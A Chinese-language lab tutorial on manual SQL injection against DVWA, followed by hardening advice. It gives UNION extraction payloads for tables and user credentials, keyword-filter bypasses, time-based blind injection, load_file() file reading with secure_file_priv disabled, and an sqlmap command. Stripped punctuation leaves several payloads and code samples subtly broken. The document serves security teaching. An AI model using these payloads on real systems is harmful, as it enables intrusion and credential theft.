1. DVWA手动SQL注入实验概述DVWADamn Vulnerable Web Application是一个专门用于安全测试的PHP/MySQL Web应用程序内含多种常见Web漏洞。其中SQL注入模块是最经典的攻防实验场景之一。我将在本地Kali Linux虚拟机192.168.1.10上演示完整的手工注入流程环境配置为DVWA 1.10PHP 5.4.45MySQL 5.5.47安全级别设置为Low注意实验前请确保关闭浏览器XSS过滤器否则可能影响注入结果展示2. 基础环境准备2.1 DVWA靶场部署下载最新DVWA镜像后需修改config/config.inc.php配置$_DVWA[db_server] 127.0.0.1; $_DVWA[db_database] dvwa; $_DVWA[db_user] root; $_DVWA[db_password] pssw0rd;关键服务启动命令service apache2 start service mysql start chmod -R 755 /var/www/html/dvwa/2.2 必要工具配置建议使用以下工具组合Burp Suite Community拦截修改HTTP请求HackBar插件快速构造注入语句SQLMap自动化验证注入点Firefox开发者工具实时查看网络请求3. 手工注入全流程解析3.1 注入点探测在DVWA SQL Injection页面提交单引号触发错误You have an error in your SQL syntax... near 1 at line 1确认存在字符型注入漏洞后使用经典探测语句1 and 11 # 返回正常 1 and 12 # 返回空3.2 联合查询注入通过order by确定字段数实测为2列后构造union注入1 union select 1,2-- -页面显示2的位置可替换为查询语句。3.3 数据库信息提取关键信息获取语句示例# 获取当前数据库 1 union select 1,database()-- - # 获取所有表名 1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- - # 获取users表结构 1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers-- -3.4 数据提取技巧使用concat_ws函数格式化输出1 union select 1,concat_ws(:,user,password) from users-- -对于MySQL 5.7需注意group_concat默认长度限制1024可执行set global group_concat_max_len1000000;4. 防御绕过实战4.1 过滤绕过技术当安全级别调至Medium时会过滤union、select等关键词。可采用大小写混合UnIoN SeLeCt内联注释/!UNION/ /!SELECT/URL编码%75%6e%69%6f%6e4.2 时间盲注示例当页面无回显时使用sleep函数1 and if(ascii(substr(database(),1,1))100,sleep(3),0)-- -通过响应时间差异判断条件真假。5. 安全加固建议5.1 开发防护措施PHP防范代码示例$id mysqli_real_escape_string($conn, $_GET[id]); $sql SELECT * FROM users WHERE id $id;更推荐使用预处理语句$stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(i, $id);5.2 运维层面防护MySQL安全配置建议-- 移除多余权限 REVOKE ALL PRIVILEGES ON *.* FROM dvwa%; GRANT SELECT ONLY ON dvwa.* TO dvwalocalhost; -- 启用日志审计 set global general_log on; set global log_output table;6. 深度问题排查6.1 常见错误处理乱码问题确保数据库、PHP文件均为UTF-8编码无回显尝试--替代--注意空格权限不足检查MySQL用户是否有information_schema查询权限6.2 性能优化技巧大数据表查询时建议添加limit限制limit 0,10分片查询通过substr函数逐字符获取使用hex编码避免特殊字符截断我在实际测试中发现当使用load_file()读取系统文件时MySQL的secure_file_priv设置会导致失败。解决方法是在my.cnf中添加[mysqld] secure_file_priv 7. 自动化工具验证手工注入确认漏洞后可用SQLMap验证sqlmap -u http://192.168.1.10/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDabc123 --batch --dbs关键参数说明--tamperspace2comment绕过空格过滤--level3提高测试等级--risk3启用危险检测8. 企业级防护方案对于生产环境建议部署WAF设备ModSecurity规则示例SecRule ARGS detectSQLi id:1001,deny,status:403RASP防护基于行为的注入检测数据库防火墙拦截异常查询模式在阿里云环境中实测发现单纯的预处理语句无法防御所有ORM框架的注入问题需要结合以下措施定期SQL审计最小权限原则查询白名单机制